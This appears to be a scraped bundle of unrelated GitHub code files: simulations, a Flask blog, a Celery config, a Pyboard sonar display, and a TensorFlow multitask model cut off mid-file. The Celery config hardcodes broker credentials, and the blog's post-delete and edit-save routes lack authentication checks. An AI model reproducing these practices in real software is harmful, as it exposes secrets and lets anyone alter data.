1.416e9, 1.768e9, 1.924e9]\n\n# x = np.arange(len(labels)) # the label locations\n# width = 0.5 / 2 # the width of the bars\n#\nfig, ax = plt.subplots()\nplt.plot(labels, pure_v2v, label='V2V only', marker='D')\nplt.plot(labels, pure_v2i, label='V2I only', marker='D')\nplt.plot(labels, serial, label='Serial', marker='D')\nplt.plot(labels, parallel, label='Parallel', marker='D')\n# rects1 = ax.bar(x - width , pure_v2v, width, label='V2V only')\n# rects2 = ax.bar(x , pure_v2i, width, label='V2I only')\n# rects4 = ax.bar(x + width , parallel, width, label='proposed')\n#\n# # Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylim(0, 2e9)\nax.set_ylabel('computation rate')\nax.set_xlabel('number of user and base vehicles')\n# ax.set_xticks(x)\n# ax.set_xticklabels(labels)\nax.legend()\n#\n# # def autolabel(rects):\n# # \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n# # for rect in rects:\n# # height = rect.get_height()\n# # ax.annotate('{}'.format(height),\n# # xy=(rect.get_x() + rect.get_width() / 2, height),\n# # xytext=(0, 3), # 3 points vertical offset\n# # textcoords=\"offset points\",\n# # ha='center', va='bottom')\n# #\n# #\n# # autolabel(rects1)\n# # autolabel(rects2)\n#\n# fig.tight_layout()\n\nplt.show()\n","repo_name":"lifanyuan/graduation-project","sub_path":"examples/plot_bars.py","file_name":"plot_bars.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13186541549","text":"#!/usr/bin/env python3\n\n###############################################################################\n# An rewrite of the nurse-example.py script using OO.\n###############################################################################\n\nimport simpy\nimport random\nimport pandas as pd\n\nfrom dataclasses import dataclass\nfrom typing import NamedTuple\nfrom statistics import mean\n\nclass Parameters(NamedTuple):\n patient_arrival_time: int\n avg_consult_time: int\n num_nurses: int\n sim_duration: int \n number_of_runs: int\n\n@dataclass\nclass Patient:\n id: int\n wait_time_for_nurse: int = 0\n\nclass NurseConsultationModel:\n def __init__(self, parameters, run_iteration) -> None:\n self.env = simpy.Environment()\n self.run_iteration = run_iteration\n self.parameters = parameters\n self.patient_counter = 0\n self.nurses = simpy.Resource(self.env, capacity = parameters.num_nurses)\n \n self.average_wait_time = 0\n self.results = pd.DataFrame()\n self.results[\"P_ID\"] = []\n self.results[\"P_START_WAIT_FOR_NURSE_TIME\"] = []\n self.results[\"P_STOP_WAIT_FOR_NURSE_TIME\"] = []\n self.results[\"P_TOTAL_WAIT_FOR_NURSE_TIME\"] = []\n self.results.set_index(\"P_ID\", inplace = True)\n\n def run(self):\n self.env.process(self._generate_patient_arrivals())\n self.env.run(until = self.parameters.sim_duration)\n self.calculate_avg_waiting_time_to_see_a_nurse()\n\n def _generate_patient_arrivals(self):\n \"\"\"Generate patients until the simulation ends.\"\"\"\n while True:\n self.patient_counter += 1\n # Create a new patient.\n patient = Patient(self.patient_counter)\n\n # Have the patient start the clinic process.\n self.env.process(self._clinic_proccess(patient))\n\n # Determine how long until the next patient arrives.\n time_until_next_patient = random.expovariate( 1.0 / self.parameters.patient_arrival_time)\n yield self.env.timeout(time_until_next_patient)\n\n def _clinic_proccess(self, patient):\n \"\"\"The process that this simulation is modeling.\"\"\"\n patient_started_waiting = self.env.now\n print(f\"Patient {patient.id} started waiting for a nurse at {patient_started_waiting}\")\n \n with self.nurses.request() as req:\n # The patient waits until a nurse is free.\n yield req\n patient_finished_waiting = self.env.now\n print(f\"Patient {patient.id} finished waiting at {patient_finished_waiting}\")\n patient.wait_time_for_nurse = patient_finished_waiting - patient_started_waiting\n \n\n # Save metrics to the results dataframe.\n # Note: This is probably a horrible way to do this. \n # I'm guessing it's better to build an array of NamedTuples or a Dict\n # and then building a dataframe from that in one go.\n metrics = pd.DataFrame({\n \"P_ID\": [patient.id],\n \"P_START_WAIT_FOR_NURSE_TIME\": [patient_started_waiting],\n \"P_STOP_WAIT_FOR_NURSE_TIME\": [patient_finished_waiting],\n \"P_TOTAL_WAIT_FOR_NURSE_TIME\": [patient.wait_time_for_nurse]\n })\n\n metrics.set_index(\"P_ID\", inplace=True)\n self.results = self.results.append(metrics)\n\n # Deterimine how long the patient will spend with the nurse.\n time_with_nurse = random.expovariate(1.0 / self.parameters.avg_consult_time)\n yield self.env.timeout(time_with_nurse)\n\n def calculate_avg_waiting_time_to_see_a_nurse(self):\n self.average_wait_time = self.results[\"P_TOTAL_WAIT_FOR_NURSE_TIME\"].mean()\n\nclass RunResult(NamedTuple):\n run: int\n average_wait_time: int\n\ndef main():\n parameters = Parameters(5, 6, 1, 120, 10)\n run_results = []\n for sim_run in range(parameters.number_of_runs):\n run = sim_run + 1\n print(f\"Run {run} of {parameters.number_of_runs} -----------------------------------------------------------\")\n sim = NurseConsultationModel(parameters, run)\n sim.run()\n \n run_results.append(RunResult(run, sim.average_wait_time))\n waiting_times = list((x.average_wait_time for x in run_results))\n avg_waiting_time = mean(waiting_times)\n print(f\"The average time spent waiting for a nurse is {avg_waiting_time} minutes.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"sholloway/queueing-sims","sub_path":"queueing_sims/linear-examples/nurse-example-oo.py","file_name":"nurse-example-oo.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21492034990","text":"# settings for celery\n# BROKER_URL = 'pyamqp://ocs_broker:rapidev@192.168.18.27/v_ocs_broker'\n# CELERY_RESULT_BACKEND = ''\n# CELERY_ACCEPT_CONTENT = ['application/json']\n# CELERY_TASK_SERIALIZER = 'json'\n# CELERY_RESULT_SERIALIZER = 'json'\n# CELERY_TIMEZONE = 'Asia/Karachi'\n# broker_url = 'pyamqp://ocs_broker:rapidev@10.10.101.103/v_ocs_broker'\nbroker_url = 'pyamqp://ocs_broker:rapidev@10.10.102.10/v_ocs_broker'\n\n# broker_url = 'pyamqp://ocs_broker:\n# rapidev@localhost/v_ocs_broker'\nresult_backend = 'rpc://'\n\ntask_serializer = 'json'\nresult_serializer = 'json'\naccept_content = ['json']\ntimezone = 'Asia/Karachi'\nenable_utc = True\n","repo_name":"mazhrik/osint","sub_path":"OCS_Rest/celery_config.py","file_name":"celery_config.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72462387547","text":"from tkinter import*\nfrom tkinter import messagebox\ndef msgCallBack():\n messagebox.showinfo(\"WayToLearnX\", \"Welcome to WayToLearnX!\")\nobj=Tk()\n\nobj.title(\"c# corner\") \nobj.geometry(\"730x450\")\n\n\nLabel(obj, text=\"Firstname\").grid(row=0)\nLabel(obj, text=\"Lastname\").grid(row=1)\ne1 = Entry(obj)\ne2 = Entry(obj)\ne1.grid(row=0, column=1)\ne2.grid(row=1, column=1)\n\n\nbtn = Button(obj, text =\"Cliquez ici!\", command = msgCallBack)\n\n\nwintext = Text(obj)\nwintext.insert(INSERT, \"Hello.....\")\nwintext.insert(END, \"welcome to c# corner.....\")\nwintext.grid(row=3,column=1)\nbtn.grid(row=2,column=1)\nobj.mainloop() \n","repo_name":"cyberdive/PyTest","sub_path":"windows form.py","file_name":"windows form.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15929392064","text":"# This is a sample Python script.\nimport csv\nfrom random import choice\n\nimport random\nimport string\nimport datetime\n\n\ndef randomword(length):\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(length))\n\ndef randomdate():\n # Генерируем случайную дату в диапазоне.\n start_date = datetime.date(2023, 1, 1)\n end_date = datetime.date(2029, 12, 31)\n random_date = start_date + datetime.timedelta(days=random.randint(0, (end_date - start_date).days))\n # преобразуем дату в строку в формате \"день-месяц-год\"\n # для строковых значений обязательно f\"'{}'\"\n date = f\"'{random_date.strftime('%Y-%m-%d')}'\"\n return date\n\nfilename = 'tags_products.csv'\nwith open(filename, 'w', newline='') as file:\n writer = csv.writer(file)\n field = [\n \"product_id\",\n \"tag_id\",\n ]\n\n writer.writerow(field)\n for id in range(1, 1000):\n writer.writerow([\n random.randint(1, 999),\n random.randint(1, 999),\n ])\n\n# import os\n#\n# # Move a file by renaming its path\n# os.rename('C:/Users/vovan/PycharmProjects/CsvGenerator/' + filename, 'C:/DBD/'+filename)\n","repo_name":"TungFram/database-design","sub_path":"Lab2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2913305117","text":"MENU = \"S - Sales Bonus \\nQ (for quit)\"\n\nLOW_BONUS = 0.1\nHIGH_BONUS = 0.15\n\nprint(MENU)\nchoice = input(\">>> \").upper()\nwhile choice != \"Q\":\n if choice == \"S\":\n # ask for sales amount\n # compare to equality test\n sales_str = input(\"enter sales_amount :\")\n sales_float = float(sales_str)\n\n if sales_float < 1000:\n print(\"Your sales bonus is ${:.2f}\".format(sales_float * LOW_BONUS))\n\n else:\n print(\"Your sales bonus is ${:.2f}\".format(sales_float * HIGH_BONUS))\n else:\n print(\"Invalid Input\")\n print(MENU)\n choice = input(\">>> \").upper()\n","repo_name":"aidank01/cp1404-pracs","sub_path":"prac_01/sales_bonus.py","file_name":"sales_bonus.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24565594021","text":"from pyb import Pin, SPI, Servo, ADC\r\nfrom SSD1309 import OLED1309\r\nfrom utime import sleep_ms, sleep_us\r\nfrom micropython import const\r\nfrom math import cos, sin\r\n\r\n\r\nstep_size = const(1)\r\nmin_angle = const(0)\r\nmax_angle = const(60)\r\nmin_range = const(0)\r\nmax_range = const(1200)\r\n\r\n\r\ni = min_angle\r\nj = step_size\r\nl = 0\r\nr = 0\r\nr_min = max_range\r\nr_max = min_range\r\nx_pos = 0\r\ny_pos = 0\r\ndeg_to_rad = 0.017456\r\ndirection_change = True\r\n\r\n\r\ncs_pin = Pin('PB7', Pin.OUT_PP)\r\ndc_pin = Pin('PB8', Pin.OUT_PP)\r\nrst_pin = Pin('PB9', Pin.OUT_PP)\r\n\r\nsonar = ADC(Pin(\"PA1\"))\r\n\r\nspi = SPI(2, mode = SPI.MASTER, baudrate = 4000000, polarity = 0, phase = 0, bits = 8, firstbit = SPI.MSB)\r\n\r\noled = OLED1309(spi, dc_pin, rst_pin, cs_pin)\r\n\r\nservo = Servo(1)\r\n\r\n\r\ndef map_value(value, x_min, x_max, y_min, y_max):\r\n return (y_min + (((y_max - y_min) / (x_max - x_min)) * (value - x_min)))\r\n\r\n\r\ndef constrain(value, min_value, max_value):\r\n if(value > max_value):\r\n return max_value\r\n \r\n elif(value < min_value):\r\n return min_value\r\n \r\n else:\r\n return value\r\n\r\n\r\ndef circle(xc, yc, r, c):\r\n a = 0\r\n b = r\r\n p = (1 - b)\r\n \r\n while(a <= b):\r\n oled.pixel((xc + a), (yc + b), c)\r\n oled.pixel((xc + b), (yc + a), c)\r\n oled.pixel((xc - a), (yc + b), c)\r\n oled.pixel((xc - b), (yc + a), c)\r\n oled.pixel((xc + b), (yc - a), c)\r\n oled.pixel((xc + a), (yc - b), c)\r\n oled.pixel((xc - a), (yc - b), c)\r\n oled.pixel((xc - b), (yc - a), c)\r\n \r\n if(p < 0):\r\n p += (3 + (2 * a))\r\n a += 1\r\n \r\n else:\r\n p += (5 + (2 * (a - b)))\r\n a += 1\r\n b -= 1 \r\n\r\n\r\noled.fill(oled.BLACK)\r\noled.show()\r\n\r\n\r\nwhile(True):\r\n if(direction_change):\r\n oled.fill(oled.BLACK)\r\n \r\n for k in range (0, 7):\r\n circle(63, 63, (10 * k), oled.WHITE)\r\n \r\n r_min /= 1000.0\r\n r_max /= 1000.0\r\n \r\n oled.text(str(\"%1.1f\" %r_min), 1, 1, oled.WHITE)\r\n oled.text(str(\"%1.1f\" %r_max), 100, 1, oled.WHITE)\r\n \r\n oled.text(\"m\", 10, 10, oled.WHITE)\r\n oled.text(\"m\", 110, 10, oled.WHITE)\r\n \r\n \r\n r_min = max_range\r\n r_max = min_range \r\n direction_change = False\r\n \r\n servo.angle(i)\r\n sleep_ms(100)\r\n \r\n r = (sonar.read() / 3)\r\n r = constrain(r, min_range, max_range)\r\n \r\n if(r < r_min):\r\n r_min = r\r\n \r\n if(r > r_max):\r\n r_max = r\r\n \r\n l = map_value(r, min_range, max_range, 0, 60)\r\n\r\n x_pos = int(63 + (l * (cos(deg_to_rad * (i * 3)))))\r\n y_pos = int(63 - (l * (sin(deg_to_rad * (i * 3)))))\r\n \r\n oled.line(63, 63, x_pos, y_pos, oled.WHITE)\r\n \r\n print(\"Angle: \" + str(\"%02u\" %i) + \" Range/mm: \" + str(\"%03.1f\" %r))\r\n \r\n i += j\r\n \r\n if(i == max_angle):\r\n j = -(step_size)\r\n direction_change = True\r\n \r\n if(i == min_angle):\r\n j = step_size\r\n direction_change = True\r\n \r\n oled.show()\r\n ","repo_name":"sshahryiar/Pyboard-MicroPython-on-STM32s","sub_path":"Servo and Analog SONAR/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"40698002657","text":"from flask import render_template\n\nfrom blog import app\nfrom database import session\nfrom model import Post\n\nimport mistune\nfrom flask import request, redirect, url_for\n\nfrom flask import flash\nfrom flask.ext.login import login_user\nfrom werkzeug.security import check_password_hash\nfrom model import User\nfrom flask.ext.login import login_required\nfrom flask.ext.login import current_user\nfrom flask.ext.login import logout_user\n\n\n#setup logging\nimport logging\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\nconsole_handler = logging.StreamHandler()\nconsole_handler.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nconsole_handler.setFormatter(formatter)\nlog.addHandler(console_handler)\n\n\n@app.route(\"/\")\n@app.route(\"/page/\")\ndef posts(page=1, paginate_by=10):\n # Zero-indexed page\n page_index = page - 1\n\n count = session.query(Post).count()\n\n start = page_index * paginate_by\n end = start + paginate_by\n\n total_pages = (count - 1) / paginate_by + 1\n has_next = page_index < total_pages - 1\n has_prev = page_index > 0\n\n posts = session.query(Post)\n posts = posts.order_by(Post.datetime.desc())\n posts = posts[start:end]\n\n return render_template(\"posts.html\",\n posts=posts,\n has_next=has_next,\n has_prev=has_prev,\n page=page,\n total_pages=total_pages\n )\n\n@app.route(\"/post/add\", methods=[\"GET\"])\n@login_required\ndef add_post_get():\n return render_template(\"add_post.html\")\n\n\n@app.route(\"/post/add\", methods=[\"POST\"])\n@login_required\ndef add_post_post():\n post = Post(\n title=request.form[\"title\"],\n content=mistune.markdown(request.form[\"content\"]),\n author=current_user\n )\n session.add(post)\n session.commit()\n return redirect(url_for(\"posts\"))\n\n\n#Allows you to view a single post\n@app.route(\"/post/\")\ndef view_post(post_id):\n post = session.query(Post)\n post = post.get(post_id + 1)\n #log.info( \"post = {}\".format(post) )\n return render_template(\"post.html\",\n post=post\n )\n\n@app.route(\"/post//edit\", methods = [\"GET\"])\ndef edit_post(post_id):\n post = session.query(Post).get(post_id + 1)\n post_user_id = post.author_id\n post_title = post.title\n post_content = post.content\n\n if post_user_id == current_user.id:\n return render_template(\"edit_post.html\",\n post_title = post_title,\n post_content = post_content\n )\n else:\n flash(\"You can only edit posts you have created\", \"danger\")\n return redirect(url_for(\"posts\"))\n\n\n@app.route(\"/post//edit\", methods = [\"POST\"])\ndef save_edit_post(post_id):\n post = session.query(Post).get(post_id + 1)\n post.title = request.form[\"title\"]\n post.content = mistune.markdown(request.form[\"content\"])\n\n #session.add(post)\n session.commit()\n return redirect(url_for(\"posts\"))\n\n\n@app.route(\"/post//delete\", methods = [\"GET\"])\ndef delete_post(post_id):\n post = session.query(Post).get(post_id + 1)\n post_title = post.title\n return render_template(\"delete_post.html\",\n post=post,\n post_title = post_title\n )\n\n@app.route(\"/post//delete\", methods = [\"POST\"])\ndef delete_post_from_db(post_id):\n post = session.query(Post).get(post_id + 1)\n\n if request.form[\"action\"] == \"confirm\":\n session.delete(post)\n flash(\"Your post has been deleted\", \"danger\")\n session.commit()\n return redirect(url_for(\"posts\"))\n else:\n flash(\"Your post has not been deleted\", \"danger\")\n return redirect(url_for(\"posts\"))\n\n\n@app.route(\"/login\", methods=[\"GET\"])\ndef login_get():\n return render_template(\"login.html\")\n\n\n@app.route(\"/login\", methods=[\"POST\"])\ndef login_post():\n email = request.form[\"email\"]\n password = request.form[\"password\"]\n user = session.query(User).filter_by(email=email).first()\n if not user or not check_password_hash(user.password, password):\n flash(\"Incorrect username or password\", \"danger\")\n return redirect(url_for(\"login_get\"))\n\n login_user(user)\n return redirect(request.args.get('next') or url_for(\"posts\"))\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n flash(\"You have been logged out\", \"danger\")\n return redirect(\"/login\")\n\n\n\n\n","repo_name":"puma10/blogful","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7779824467","text":"\"\"\"empty message\n\nRevision ID: 79ba52d901f7\nRevises: e5d24140d4c8\nCreate Date: 2022-05-07 20:13:53.184145\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '79ba52d901f7'\ndown_revision = 'e5d24140d4c8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('book', sa.Column('genre_db', sa.String(length=100), nullable=True))\n op.create_index(op.f('ix_book_genre_db'), 'book', ['genre_db'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_book_genre_db'), table_name='book')\n op.drop_column('book', 'genre_db')\n # ### end Alembic commands ###\n","repo_name":"bukalra/chapter13.4","sub_path":"migrations/versions/79ba52d901f7_.py","file_name":"79ba52d901f7_.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23410588638","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n#This file is part of pypository.\n#\n#pypository is free software: you can redistribute it and/or modify\n#it under the terms of the GNU General Public License as published by\n#the Free Software Foundation, either version 3 of the License, or\n#(at your option) any later version.\n#\n#pypository is distributed in the hope that it will be useful,\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n#GNU General Public License for more details.\n#\n#You should have received a copy of the GNU General Public License\n#along with pypository. If not, see .\n\n\nfrom .Query import QueryEquality, QueryInclusion, QueryPartial\nimport collections\nfrom pypository.utils import ImmutableDict\nimport re\n\nclass Indexer(object):\n \"\"\"Indexes memory content. Current implementation just copy Memory iterator (Immutabledicts) into a cache dict.\n This is possible because Memory iterator format is suitable for search, but it might change in the future\"\"\"\n def __init__(self, memory):\n self.memory = memory #One memory per indexer\n self.index = []\n self.__init_index()\n\n def __init_index(self):\n \"\"\"Stores all data in the index\"\"\"\n for element in self.memory:\n if not isinstance(element, collections.Hashable):\n raise TypeError(\"Adding non hashable element %s to index\" % str(element))\n self.index.append(element)\n\n def show_all(self):# -> list:\n \"\"\"All elements inside index\"\"\"\n return list(self.index)\n\n def __update_index(self):\n \"\"\"Updates index content\"\"\"\n for element in self.memory:\n if element not in self.index:\n self.index.append(element)\n\n @staticmethod\n def __get_left_value(left, element):\n if not '.' in left:\n return element[left]\n getlist = left.split('.')\n leftvalue = element[getlist[0]]\n for getindex in getlist[1:]:\n leftvalue = leftvalue.__getitem__(getindex)\n return leftvalue\n\n @staticmethod\n def __to_immutable(element):\n if isinstance(element, dict):\n return ImmutableDict(element)\n return element\n\n def search_index(self, queryterm): #-> set:\n result = set()\n right = queryterm.right\n left = queryterm.left\n for element in self.index:\n if not element:\n continue\n if isinstance(queryterm, QueryEquality):\n leftvalue = self.__get_left_value(left, element)\n if len(right)>2 and right[-1] == \"/\" and right[0] == \"/\":\n #Regular Expression\n rexp = re.compile(right[1:-1])\n if rexp.match(leftvalue) is None:\n continue\n elif right != leftvalue:\n continue\n elif isinstance(queryterm, QueryInclusion):\n #a in b\n try:\n list_to_search = element[left]\n if isinstance(list_to_search, dict) and queryterm.dict_member == \"values\":\n list_to_search = list(list_to_search.values())\n elif isinstance(list_to_search, dict) and queryterm.dict_member == \"keys\":\n list_to_search = list(list_to_search.keys())\n if right[-1] == \"/\" and right[0] == \"/\":\n #RegExp\n rexp = re.compile(right[1:-1])\n for item in list_to_search:\n if rexp.match(item) is not None:\n break\n else:\n continue\n else:\n #string\n if right not in list_to_search:\n continue\n except KeyError:\n continue\n elif isinstance(queryterm, QueryPartial):\n if left not in element:\n continue\n ismatch = True\n for key, value in right.items():\n try:\n if key not in element[left]:\n ismatch = False\n break\n if element[left][key] != value:\n ismatch = False\n except KeyError:\n continue\n if not ismatch:\n continue\n result.add(self.__to_immutable(element))\n return result\n\n\n","repo_name":"nesaro/pypository","sub_path":"pypository/search/Indexer.py","file_name":"Indexer.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72871236828","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport os\nimport numpy as np\nimport tensorflow as tf\n\nfrom utils import misc_utils\nfrom multitask import multitask_utils\nfrom multitask import sharing_dicts_utils\nfrom pointer_model.batcher import Batcher\n\n\nMIXING_RATIOS_BASE = 10\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\nclass MultitaskBaseModel(object):\n \"\"\"Multitask Model\"\"\"\n def __init__(self,\n names,\n all_hparams,\n mixing_ratios,\n model_creators,\n logdir,\n soft_sharing_coef=None,\n data_generators=None,\n val_data_generator=None,\n *args, **kargs):\n # check lengths match\n if not len(names) == len(all_hparams):\n raise ValueError(\"names and all_hparams size mismatch\")\n if not len(names) == len(model_creators):\n raise ValueError(\"names and model_creators size mismatch\")\n if data_generators and not (\n len(names) == len(data_generators) and\n isinstance(data_generators, MultitaskBatcher)):\n raise ValueError(\"names and data_generators shape mismatch or \"\n \"data_generators is not MultitaskBatcher\")\n\n # check mixing ratios and MTL\n if len(names) == 1 and mixing_ratios is not None:\n raise ValueError(\"if running single model, set mixing_ratios None\")\n if mixing_ratios is not None:\n if len(names) != len(mixing_ratios) + 1:\n raise ValueError(\"names and mixing_ratios + 1 size mismatch\")\n checked_mixing_ratio = [\n _assert_mixing_ratio_compatability(mr) for mr in mixing_ratios]\n print(\"With Base %d Scaled mixing batch ratios are \" %\n MIXING_RATIOS_BASE, checked_mixing_ratio)\n\n if not soft_sharing_coef or soft_sharing_coef < 1e-6:\n raise ValueError(\"soft_sharing_coef too small\")\n\n # misc check\n if not all([callable(mc) for mc in model_creators]):\n raise TypeError(\"Expect model_creator to be callable\")\n misc_utils.assert_all_same(all_hparams, attr=\"batch_size\")\n\n \n\n if len(names) == 1:\n sharing_dicts = [\n sharing_dicts_utils.sharing_dict_soft]\n # won't be used anyway\n soft_sharing_params = [\n sharing_dicts_utils.Layered_Shared_Params]\n else:\n sharing_dicts = [\n sharing_dicts_utils.sharing_dict_soft,\n sharing_dicts_utils.sharing_dict_soft]\n soft_sharing_params = [\n sharing_dicts_utils.Layered_Shared_Params,\n sharing_dicts_utils.E1D2_Shared_Params]\n\n # make sure sharing dictionaries are the same\n misc_utils.assert_all_same(sharing_dicts)\n if len(names) != 1:\n # sharing dicts and soft-sharing params for main models\n # in decode models or baseine, only one sharing_dict\n sharing_dicts = [sharing_dicts[0]] + sharing_dicts\n # main model's soft-sharing params should be\n # the union of two soft-sharing params\n # and only one in decode models\n soft_sharing_params = [misc_utils.union_lists(\n soft_sharing_params)] + soft_sharing_params\n\n # create MTL scopes\n MTL_scope = multitask_utils.MTLScope(names, sharing_dicts)\n\n # build models\n graph = tf.Graph()\n with graph.as_default():\n # global step shared across all models\n global_step = tf.Variable(\n 0, name='global_step', trainable=False)\n models, steps = self._build_models(\n names=names,\n MTL_scope=MTL_scope,\n all_hparams=all_hparams,\n global_step=global_step,\n model_creators=model_creators,\n soft_sharing_coef=soft_sharing_coef,\n soft_sharing_params=soft_sharing_params,\n *args, **kargs)\n\n saver = tf.train.Saver(max_to_keep=20)\n\n save_path = None\n summary_dir = None\n summary_writer = None\n if logdir is not None:\n # e.g. model-113000.meta\n save_path = os.path.join(logdir, \"model\")\n summary_dir = os.path.join(logdir, \"summaries\")\n summary_writer = tf.summary.FileWriter(summary_dir)\n\n if not len(names) == len(models):\n raise ValueError(\"built `models` have mismatch shape, names\")\n \n\n self._sess = None\n self._graph = graph\n self._steps = steps\n self._names = names\n self._models = models\n self._MTL_scope = MTL_scope\n self._all_hparams = all_hparams\n self._global_step = global_step\n self._data_generators = data_generators\n self._val_data_generator = val_data_generator\n \n self._mixing_ratios = mixing_ratios\n self._sharing_dicts = sharing_dicts\n self._soft_sharing_coef = soft_sharing_coef\n self._soft_sharing_params = soft_sharing_params\n\n self._saver = saver\n self._logdir = logdir\n self._save_path = save_path\n self._summary_dir = summary_dir\n self._summary_writer = summary_writer\n \n\n def _build_models(self,\n names,\n MTL_scope,\n all_hparams,\n global_step,\n model_creators,\n soft_sharing_coef,\n soft_sharing_params,\n vocab,\n # kept for compatability\n *args, **kargs):\n models = []\n steps = {\"GlobalStep\": 0}\n for name, hparams, model_creator, soft_sharing_param in \\\n zip(names, all_hparams, model_creators, soft_sharing_params):\n \n print(\"Creating %s \\t%s Model\" % (model_creator.__name__, name))\n # this returns a object with scopes as attributes\n scope = MTL_scope.get_scopes_object(name)\n model = model_creator(\n hparams, vocab,\n global_step=global_step,\n name=name, scope=scope,\n soft_sharing_coef=soft_sharing_coef,\n soft_sharing_params=soft_sharing_param)\n\n with tf.variable_scope(name):\n model.build_graph()\n models.append(model)\n steps[name] = 0\n\n # reuse variables\n # actually, not necessary\n MTL_scope.reuse_all_shared_variables()\n\n return models, steps\n\n \n\n def initialize_or_restore_session(self, ckpt_file=None):\n \"\"\"Initialize or restore session\n\n Args:\n ckpt_file: directory to specific checkpoints\n \"\"\"\n # restore from lastest_checkpoint or specific file\n with self._graph.as_default():\n self._sess = tf.Session(\n graph=self._graph, config=misc_utils.get_config())\n self._sess.run(tf.global_variables_initializer())\n\n if self._logdir or ckpt_file:\n # restore from lastest_checkpoint or specific file if provided\n misc_utils.load_ckpt(saver=self._saver,\n sess=self._sess,\n ckpt_dir=self._logdir,\n ckpt_file=ckpt_file)\n return\n\n \n def _run_train_step(self, batch, model_idx):\n # when running non-major task\n # the regularized model is the major task\n if model_idx != 0:\n reg_model_idx = 0\n \n # when running the auxiliary model\n # the soft-shared parameters should be those\n # that used between this pair model main-aux parameters\n # e.g. for SNLI vs. CNNDM , use SNLI's soft-params\n filtering_fn = lambda name: (\n name in self._soft_sharing_params[model_idx])\n\n else: # when model_idx == 0\n # for 3-way models\n # when running second or third model\n # reg_model is the first model\n # when running the first model\n # the reg_model is either second or third model\n reg_model_idx = 2 if self._steps[self._names[0]] % 2 else 1\n \n # when running the main model\n # the soft-shared parameters should be those\n # that used between this pair model main-aux parameters\n # e.g. for CNNDN vs. SNLI, use SNLI's soft-params\n filtering_fn = lambda name: (\n name in self._soft_sharing_params[reg_model_idx])\n \n \n return self._models[model_idx].run_train_step(\n sess=self._sess, batch=batch,\n reg_model_name=self._names[reg_model_idx],\n reg_filtering_fn=filtering_fn,\n all_scopes=self._MTL_scope.all_scopes)\n\n def run_train_step(self):\n model_idx = self._task_selector(self.global_step)\n model_name = self._names[model_idx]\n\n # get data batch\n data_batch = self._data_generators.next_batch(model_idx)\n # run one step\n train_step_info = self._run_train_step(data_batch, model_idx)\n # increment train step\n self._steps[model_name] += 1\n self._steps[\"GlobalStep\"] += 1\n # print info and write summary\n # and return the loss for debug usages\n return self._log_train_step_info(train_step_info)\n\n def _log_train_step_info(self, train_step_info):\n # log statistics\n loss = train_step_info[\"loss\"]\n summaries = train_step_info[\"summaries\"]\n train_step = self._steps[\"GlobalStep\"]\n self._summary_writer.add_summary(summaries, train_step)\n\n if train_step % 100 == 0:\n self._summary_writer.flush()\n\n if not np.isfinite(loss):\n self.save_session()\n raise Exception(\"Loss is not finite. Stopping.\")\n\n # print statistics\n step_msg = \"loss: %f step %d \" % (loss, train_step)\n\n for key, val in self._steps.items():\n step_msg += \"%s %d \" % (key, val)\n\n tf.logging.info(step_msg)\n return loss\n\n def run_eval_step(self, model_idx=0):\n # usually only use the main model\n model_name = self._names[model_idx]\n # get data batch\n val_data_batch = self._val_data_generator.next_batch(model_idx)\n # run one step\n val_step_info = self._models[model_idx].run_eval_step(\n sess=self._sess, batch=val_data_batch)\n # NLL loss not included\n val_nll_loss = val_step_info[\"nll_loss\"]\n\n return val_nll_loss\n\n def _task_selector(self, step):\n if self._mixing_ratios is None:\n return 0\n\n return _task_selector_for_three(\n self._mixing_ratios[0], self._mixing_ratios[1], step)\n\n def save_session(self):\n self._saver.save(self._sess,\n save_path=self._save_path,\n global_step=self.global_step)\n\n @property\n def global_step(self):\n return self._steps[\"GlobalStep\"]\n\n @property\n def sess(self):\n return self._sess\n\n @property\n def graph(self):\n return self._graph\n\n @property\n def logdir(self):\n return self._logdir\n\n def run_encoder(self, sess, batch, model_idx=0):\n return 